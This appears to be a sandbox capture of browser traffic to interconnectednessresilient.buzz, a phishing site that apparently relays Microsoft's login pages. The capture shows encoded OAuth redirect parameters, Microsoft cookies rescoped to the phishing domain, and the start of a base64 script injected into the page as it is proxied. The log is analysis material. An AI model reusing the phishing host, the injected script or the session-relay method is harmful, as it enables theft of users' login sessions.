14 Jan 2025 14:56:13 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49950	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:15 UTC	2640	OUT	GET /?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1OMGJiU3pRN2t2eUhQVGo5cXVBLXJhbk9lTU12 [TRUNCATED] Host: interconnectednessresilient.buzz Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://mighty-calm-plum-toucan.easy2.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; fpc=AoqkoJaJvz9Eh_YXzVockgE; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEEU7mDXUvT_Fts37tw3U-Y4HRsCk0lHBr_8jTmFCsqR13axYR1edhIYZ0ykKcGMTcNu6l1XTdcVAyLzYv1Lc-h7OfHBXffV9LKdRUq7NvTb9BeY8mWW-zLP0TUsThJJVlRdSuyMlSSFCyzBhq6fFfUsBGEca3mPSv843m081G-YUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N
2025-01-14 14:56:15 UTC	2615	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: f1654e23-c535-4202-a80a-99b0a6008100 x-ms-ests-server: 2.1.19683.6 - SCUS ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-clitelem: 1,50168,0,, x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy-Report-Only: object-src 'none'; base-uri 'self'; script-src 'self' 'nonce-0qFMSP_b3HWHT-8YPrui1g' 'unsafe-inline' 'unsafe-eval' https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://.bing.com 'report-sample'; img-src 'self' data: https://.msauth.net https://.msftauth.net https://.msftauthimages.net https://.msauthimages.net https://.msidentity.com https://.microsoftonline-p.com https://.microsoftazuread-sso.com https://.azureedge.net https://.outlook.com https://.office.com https://.office365.com https://.microsoft.com https://.bing.com 'report-sample'; report-uri https://csp.microsoft.com/report/ESTS-UX-All Set-Cookie: esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; domain=interconnectednessresilient.buzz; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=AoqkoJaJvz9Eh_YXzVockgE; expires=Thu, 13-Feb-2025 14:56:15 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Date: Tue, 14 Jan 2025 14:56:15 GMT Connection: close content-length: 21701 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2025-01-14 14:56:15 UTC	13769	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 62 57 39 6b 61 57 5a 70 5a 57 51 6f 4b 58 74 70 5a 69 67 68 5a 47 39 6a 64 57 31 6c 62 6e 51 75 63 58 56 6c 63 6e 6c 54 5a 57 78 6c 59 33 52 76 63 69 67 69 4c 6d 35 6c 64 79 49 70 4b 58 74 32 59 58 49 67 5a 57 78 6c 62 53 41 39 49 47 52 76 59 33 56 74 5a 57 35 30 4c 6d 4e 79 5a 57 46 30 5a 55 Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gbW9kaWZpZWQoKXtpZighZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLm5ldyIpKXt2YXIgZWxlbSA9IGRvY3VtZW50LmNyZWF0ZU
2025-01-14 14:56:15 UTC	7932	IN	Data Raw: 29 7b 68 28 65 2c 6f 2c 69 2c 73 29 7d 2c 73 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 28 65 2c 6f 2c 69 2c 73 29 7d 2c 73 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 22 6c 6f 61 64 65 64 22 3d 3d 3d 73 2e 72 65 61 64 79 53 74 61 74 65 3f 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 68 28 65 2c 6f 2c 69 2c 73 29 7d 2c 35 30 30 29 3a 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 73 2e 72 65 61 64 79 53 74 61 74 65 26 26 68 28 65 2c 6f 2c 69 2c 73 29 7d 2c 74 28 73 29 2c 72 28 22 5b 24 4c 6f 61 64 65 72 5d 3a 20 4c 6f 61 64 69 6e 67 20 27 22 2b 28 61 2e 73 72 63 50 61 74 68 7c 7c 22 22 29 2b 22 27 2c 20 69 64 3a 22 2b 28 61 2e 69 64 7c 7c 22 22 29 29 7d 65 6c 73 65 7b 6f Data Ascii: ){h(e,o,i,s)},s.onerror=function(){f(e,o,i,s)},s.onreadystatechange=function(){"loaded"===s.readyState?setTimeout(function(){h(e,o,i,s)},500):"complete"===s.readyState&&h(e,o,i,s)},t(s),r("[$Loader]: Loading '"+(a.srcPath\|\|"")+"', id:"+(a.id\|\|""))}else{o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49955	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:16 UTC	2747	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHF [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; fpc=AoqkoJaJvz9Eh_YXzVockgE; esctx=PAQABBwEAAABVrSpeuWamRam2jAF1XRQEEU7mDXUvT_Fts37tw3U-Y4HRsCk0lHBr_8jTmFCsqR13axYR1edhIYZ0ykKcGMTcNu6l1XTdcVAyLzYv1Lc-h7OfHBXffV9LKdRUq7NvTb9BeY8mWW-zLP0TUsThJJVlRdSuyMlSSFCyzBhq6fFfUsBGEca3mPSv843m081G-YUgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA
2025-01-14 14:56:16 UTC	1406	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:16 GMT Content-Type: application/x-javascript content-length: 142388 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 02 Oct 2024 20:05:23 GMT ETag: 0x8DCE31D8CF87EF9 x-ms-request-id: 3afe4b31-a01e-002c-3a02-651054000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145616Z-16978cfcfd49fnnjhC1YTOsfr40000000ay0000000008ype x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2025-01-14 14:56:16 UTC	14978	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 e4 bd 6d 5b e3 38 d2 30 fa fd fe 15 c1 bb 0f 1d 4f 4c c8 0b d0 e0 b4 3b 77 1a d2 dd cc 00 61 08 cc cc 2e b0 5c 4e ac 80 bb 83 9d b5 1d 68 06 72 7e fb a9 17 c9 96 1d 87 ee d9 3d d7 f9 f2 cc 0b b1 a5 92 2c 95 aa 4a 55 a5 92 b4 f9 d3 da ff 54 7e aa 6c fc f8 3f 95 e1 79 ef ec bc 32 f8 58 39 ff 7c 78 76 50 39 85 b7 7f 54 4e 06 e7 87 fb fd 1f af 07 3f 8a ff 9f df f9 71 65 e2 4f 45 05 7e 47 6e 2c bc 4a 18 54 c2 a8 e2 07 e3 30 9a 85 91 9b 88 b8 72 0f 7f 23 df 9d 56 26 51 78 5f 49 ee 44 65 16 85 5f c4 38 89 2b 53 3f 4e a0 d0 48 4c c3 c7 4a 15 aa 8b bc ca a9 1b 25 4f 95 c3 53 b3 0e f5 0b a8 cd bf f5 03 28 3d 0e 67 4f f0 7c 97 54 82 30 f1 c7 a2 e2 06 1e d5 36 85 97 20 16 95 79 e0 89 a8 f2 78 e7 8f ef 2a c7 fe 38 0a e3 70 92 54 22 31 16 Data Ascii: m[80OL;wa.\Nhr~=,JUT~l?y2X9\|xvP9TN?qeOE~Gn,JT0r#V&Qx_IDe_8+S?NHLJ%OS(=gO\|T06 yx*8pT"1
2025-01-14 14:56:16 UTC	1406	IN	Data Raw: 4c ff 33 b9 ea 00 07 2a d6 0e 48 0e 5d 0b 6d a5 1f 11 15 0f 87 40 5c c3 5f 87 3d a0 22 7d 7c 69 c7 22 50 d2 07 3f 4a ee 3c 90 e6 7b 14 7a 96 9b 2d 99 8c 64 54 30 6d 63 68 ca c8 d7 73 8c 0c 4e 90 7e 96 0a fd d6 42 52 3a 7f 0c c1 7c 24 cb 01 49 89 5f b1 75 4d 26 66 94 c3 b8 85 47 a3 c5 42 f0 2a 06 d5 a2 b6 e1 06 1c 29 8b 71 b3 ca 81 48 4b 18 2d da 77 11 87 34 87 81 16 2d a6 02 6f db 7d c2 30 5a fe f0 46 9b 64 d6 3e 5f f5 c2 74 41 04 63 b8 99 6e bd f9 05 52 3a 15 3c fc 24 16 89 33 4f 26 1b bb bc 57 e6 22 9a f6 03 5c c5 f1 f2 05 be 6d 3c 3e 3e 6e 20 65 6c cc a3 a9 60 10 a2 11 dc cd a1 7c 39 ce 73 ca 8d 0d c5 b8 29 1b c2 48 b9 f7 f1 1c 77 35 64 1c b8 25 77 24 23 87 78 30 a8 c8 3d 72 eb 8f 14 34 69 35 69 d5 bc e9 3d 78 f0 61 54 90 f8 e9 fa 9c 67 52 33 02 da 99 Data Ascii: L3H]m@\_="}\|i"P?J<{z-dT0mchsN~BR:\|$I_uM&fGB)qHK-w4-o}0ZFd>_tAcnR:<$3O&W"\m<>>n el`\|9s)Hw5d%w$#x0=r4i5i=xaTgR3
2025-01-14 14:56:16 UTC	7547	IN	Data Raw: 3f c0 1c 87 b2 6f 6a 43 93 b8 4e d5 95 64 21 fb 21 a7 0c bc 47 fe 43 f8 ed bf ed d5 5d 7a ba 94 ec 4a 96 e0 44 da d9 53 75 9c 12 b1 3b 28 d1 8f fc 7b 1f 74 20 56 ae 70 a3 3a 4e 6d bf df a9 e5 a7 78 98 84 33 63 15 da e5 ed 6b 9c 79 78 f8 9f f6 63 45 33 f1 4c ac 1f c2 53 ae 19 6a 2b f8 ff b7 6d c1 63 ba fe 72 5b 24 28 df a7 96 23 81 15 a2 fe 59 f1 89 d0 f9 23 28 a3 af ac a1 76 d2 5d 1a 5d 7b a9 f1 44 72 7c e9 1c 6a 5f 4b 02 51 35 0c 50 61 7c 1f cc b0 f2 92 38 54 92 38 bc 4c 94 24 0e 75 49 6c 5a 99 94 70 bc aa a1 9e 0d 99 c1 1b d4 40 0e b9 54 ab 0e 57 96 45 c5 48 4e 91 1d 27 bd 07 58 60 29 31 03 ed 07 ca fd 59 40 3f 9e 8d 6a 3e 4f bb d3 22 9c 96 6d 87 eb eb 61 95 46 96 4e 24 b8 15 bf 29 06 c7 cf 16 d3 54 bf d0 aa 87 f1 90 07 b8 c9 1e e5 13 15 28 1d 89 48 c6 Data Ascii: ?ojCNd!!GC]zJDSu;({t Vp:Nmx3ckyxcE3LSj+mcr[$(#Y#(v]]{Dr\|j_KQ5Pa\|8T8L$uIlZp@TWEHN'X`)1Y@?j>O"maFN$)T(H
2025-01-14 14:56:16 UTC	8837	IN	Data Raw: 9b 7b f7 fe b6 8d 24 6d f4 ff f3 29 28 ac 7f 36 10 42 b0 e4 24 33 13 d0 08 7f 8e 6c 4f 9c 89 2f 6b c9 49 66 64 8d 16 24 40 09 16 05 70 00 50 b6 22 f1 bb 9f 7a aa ba 1b 8d 0b 65 67 76 ce 79 df d9 8d 05 02 8d 46 5f ab eb fa 14 cb fa 54 d4 18 08 f8 bd 54 11 0f 51 f0 0b d1 21 72 26 04 42 13 0a 66 12 85 cc 80 77 f4 df d8 e1 27 36 24 08 48 d0 51 1c 68 e9 4b 4c cc 44 11 79 68 de 44 37 5d 9a 0e e0 ab 2d dc 0b 35 6e e3 7f 6a ad 46 3e 16 fa a2 8f 2a 4d b4 15 89 34 04 48 ee ee a2 b0 76 ff a1 9a db 47 39 13 f8 ad 14 f7 8d 1e 3c ee f4 51 84 89 0f 5e c6 ca 83 47 c1 76 38 93 37 c7 47 27 fc 8c 8a bf 8e 3a 14 c8 4d 87 04 6a 98 ad e9 2d 8f 03 09 23 54 20 57 34 17 f4 3d 3c 69 91 2a 05 8a 3c 52 a7 62 7d 1e d7 23 a0 76 57 a3 65 76 91 8e 60 65 30 8e 61 93 11 89 48 55 36 23 e2 Data Ascii: {$m)(6B$3lO/kIfd$@pP"zegvyF_TTQ!r&Bfw'6$HQhKLDyhD7]-5njF>M4HvG9<Q^Gv87G':Mj-#T W4=<i<Rb}#vWev`e0aHU6#
2025-01-14 14:56:16 UTC	16384	IN	Data Raw: bd 6d 28 86 22 14 fd 52 cd be 77 3a 74 a0 5f 56 d1 66 e1 2a 1d 45 04 3c 9b d1 11 f3 9e fd 20 49 a2 f8 2e c6 44 a6 bc ec 79 db b1 24 8c 08 14 9d c4 6c d0 bb ac 84 9e 62 c0 bb cc 6f c5 03 49 0a d1 22 72 45 b9 f3 d7 d8 2d 07 41 fb a0 d2 af 5b 16 27 05 b6 d3 7f 43 db 22 af 2c f8 67 d1 b2 a3 12 c9 19 39 6c d0 87 8b 2f e8 97 e4 93 e4 e0 1c 38 0e b7 05 12 8f a9 2c b7 01 a9 87 9b 90 f9 2f 94 04 1d d8 35 18 59 a7 60 13 47 54 36 21 f5 37 b8 11 de 6c 36 9b 3b 9c 18 07 8c db 9a 6f b2 4e 2f f6 18 87 8d b9 36 31 96 ce 2e 3e 6b 12 40 81 ba a9 3d a0 08 d2 09 6d 4b 87 0e b7 db db bf 7c af 43 8e 53 4d f4 40 f1 0c bf a4 8f 37 4b 3d 61 54 a4 ca 2f 38 ef fa 05 47 77 39 66 e6 9e 72 09 42 50 35 e7 92 43 34 99 59 e0 ad 93 f8 c1 41 cb f0 39 6a f6 81 63 6c 8b b4 84 e3 d1 9c 44 a6 Data Ascii: m("Rw:t_Vf*E< I.Dy$lboI"rE-A['C",g9l/8,/5Y`GT6!7l6;oN/61.>k@=mK\|CSM@7K=aT/8Gw9frBP5C4YA9jclD
2025-01-14 14:56:16 UTC	756	IN	Data Raw: 21 23 d6 01 79 65 24 99 04 fc 07 0a 71 cd b2 88 7a 94 c9 2d 7b 4b 02 01 06 f7 b4 33 5b 3f cd 89 d3 27 ce bc 8d 71 7e 15 58 ce de d8 81 35 d4 cd f8 87 26 43 ec 13 39 8e 9c 91 ab ac a5 b6 a9 30 f6 10 7c 0c c2 a2 bf 6e 7b db 0d b4 e1 d5 13 47 80 c0 c1 ce 72 c9 78 91 b2 d2 88 01 3d f0 a1 5b 67 5c 28 8f e9 78 3a e0 82 dc fe be c7 ae 66 38 d3 87 ea ac 3d d5 7a aa b4 36 7e 29 29 c7 16 6b 0f a9 64 3b 7f b9 af bc ba c0 5f 2a c6 12 b0 0f 6a fb 0c 7a 59 69 03 93 02 68 26 de 13 79 ed 73 e2 33 cb 1e 77 a9 3f 34 24 cf f6 70 ff db e9 d1 f1 46 61 51 03 7e 96 0d fb d9 ab 57 b7 71 5e b9 6b 14 3a ca 14 d6 e7 52 f4 fc 0d b5 74 37 9f 54 9d a3 ca fa b8 d6 86 51 83 f8 d0 aa 6c 62 55 8f 9d 91 f6 c9 4b 46 aa e4 82 e6 f3 7a e4 d6 34 c8 0a cd ef b2 f2 9c 8e 1d 8f 89 91 69 37 0e 2e Data Ascii: !#ye$qz-{K3[?'q~X5&C90\|n{Grx=[g\(x:f8=z6~))kd;_*jzYih&ys3w?4$pFaQ~Wq^k:Rt7TQlbUKFz4i7.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49970	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:17 UTC	3998	OUT	GET /?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHFLYmxUeE1OMGJiU3pRN2t2eUhQVGo5cXVBLXJhbk9lTU12 [TRUNCATED] Host: interconnectednessresilient.buzz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: 